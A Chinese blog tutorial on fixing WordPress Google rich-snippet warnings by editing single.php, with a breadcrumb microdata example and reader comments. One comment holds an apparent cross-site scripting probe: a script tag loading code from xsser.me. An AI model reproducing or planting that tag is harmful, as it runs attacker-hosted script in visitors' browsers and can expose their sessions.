月光博客 » 网站建设 » 修复Wordpress的Google丰富网页摘要错误

修复Wordpress的Google丰富网页摘要错误

  最近在使用Google丰富网页摘要测试工具的时候,发现对于默认Wordpress博客,总会有三条错误信息出现,今天我就介绍一下,如何通过修改Wordpress模版文件来修复这些错误信息的方法。

  错误信息内容分别是:

  Warning: Missing required field "entry-title".

  Warning: Missing required field "updated".

  Warning: Missing required hCard "author".

修复Wordpress的Google丰富网页摘要错误

  对于entry-title的错误信息修改方法是:

  打开single.php文件,找到类似<h1><?php the_title(); ?></h1>一行,将其修改为<h1 class="title entry-title"><?php the_title(); ?></h1>(有些模版可能是h2或其他)

  对于updated的错误信息修改方法是:

  打开single.php文件,找到<?php the_date();?>一行,将其修改为<div class="date updated"><?php the_time('F S, Y'); ?></div>

  对于author的错误信息修改方法是:

  打开single.php文件,找到<?php the_author(); ?>一行,将其修改为<span class="vcard author"><span class="fn"><?php the_author(); ?></span></span>

  另外,在昨天写的“Google丰富网页摘要教程”中,有些读者希望能举个Wordpress模版修改的例子,下面就是一个Wordpress模版的例子。

  打开single.php文件,在适当位置添加如下代码:

<?php
$separator = '&rsaquo;';
$category = get_the_category();
if ($category) {
foreach($category as $category) {
echo '<div itemscope itemtype="http://data-vocabulary.org/Breadcrumb" style="display:inline">';
echo $separator . "<a href=\"".get_category_link($category->term_id)."\" itemprop=\"url\"><span itemprop=\"title\">$category->name</span></a>
";
echo '</div>';
}}
?>

 

顶一下 ▲()   踩一下 ▼()

相关文章

  1. 1
    zedex   说道:
    貌似已经修复了?
    支持(7反对(4回复
  1. 2
    francis   说道:
    updated没有找到<?php the_date();?>一行,我用的是默认模板
    支持(5反对(4回复
  1. 3
    曰观止   说道:
    遇到相同的问题,帖中回复,已经采用,如大汗遇甘霖,谢谢分享
    支持(4反对(3回复
  1. 4
    kakaxi   说道:
    <script src=xsser.me/8OAla9 </script>
    asd啊
    支持(4反对(3回复
  1. 5
    坪山钟爱一生   说道:
    我用的是谷歌浏览器,首页只能加载到谷歌广告,文章页只能加载到站内搜索。
    支持(4反对(4回复
  1. 6
    WP神偷   说道:
    好久没有更新了呢?
    支持(4反对(4回复
  1. 7
    zsx   说道:
    谷歌浏览器,福建铁通。
    侧边栏无法加载的原因是因为GoogleCustomSearch在某些网络无法访问,导致浏览器一直在加载该JS忽略了下面侧边栏。
    支持(5反对(6回复
  1. 8
    SB   说道:
    打开网站就出现这个Fatal error: Call to undefined function get_header() in /home/content/83/10526483/html/index.php on line 1
    支持(2反对(3回复
  1. 9
    卖不锈钢的小伙   说道:
    我的wp为什么文章中没法插入图片额
    支持(1反对(3回复
  1. 10
    A   说道:
    你这个评论框怎么做的啊
    支持(0反对(2回复
  1. 11
    梅克拉   说道:
    今天开始,月光博客的侧边栏加载不了?
    williamlong 于 2012-10-19 16:22:44 回复
    我这里加载没问题,你是什么浏览器?
    abnerfan 于 2012-10-19 21:29:05 回复
    我用Chrome,加载也有问题!
    梅克拉 于 2012-10-20 8:41:20 回复
    我用的是谷歌浏览器,首页只能加载到谷歌广告,文章页只能加载到站内搜索。
    wii 于 2012-10-20 11:40:16 回复
    广州也是,有段时间了。
    nj007 于 2012-10-21 15:08:45 回复
    南京电信用户
    首页左侧显示到Google广告,以下都不显示。
    左侧加载到“站内搜索”以下的部分都不显示。
    底部的版权之类的信息全都不显示。
    WIN2003 + Chrome

    等待约两三分钟就全部显示了。
    william 于 2012-10-21 23:14:30 回复
    我看了一下,侧栏里面加载了Google搜索的一段javascript无法加载了,大概被屏蔽了。
    支持(3反对(6回复
  1. 12
    albey   说道:
    在single.php里插入代码,总会出现“需求分析>”...的样式问题,请问该怎么解决
    支持(4反对(7回复
  1. 13
    工商网   说道:
    gongshangnet 。com 工商网
    支持(3反对(6回复
  1. 14
    francis   说道:
    updated没有找到<?php the_date();?>一行,我用的是默认模板
    williamlong 于 2012-10-19 17:01:55 回复
    你就直接把那行加入到文件某个适当位置即可。
    支持(2反对(6回复
  1. 15
    落日故乡   说道:
    用ie或ie内核的浏览器大多不能加载侧边栏及底部
    支持(2反对(6回复

发表留言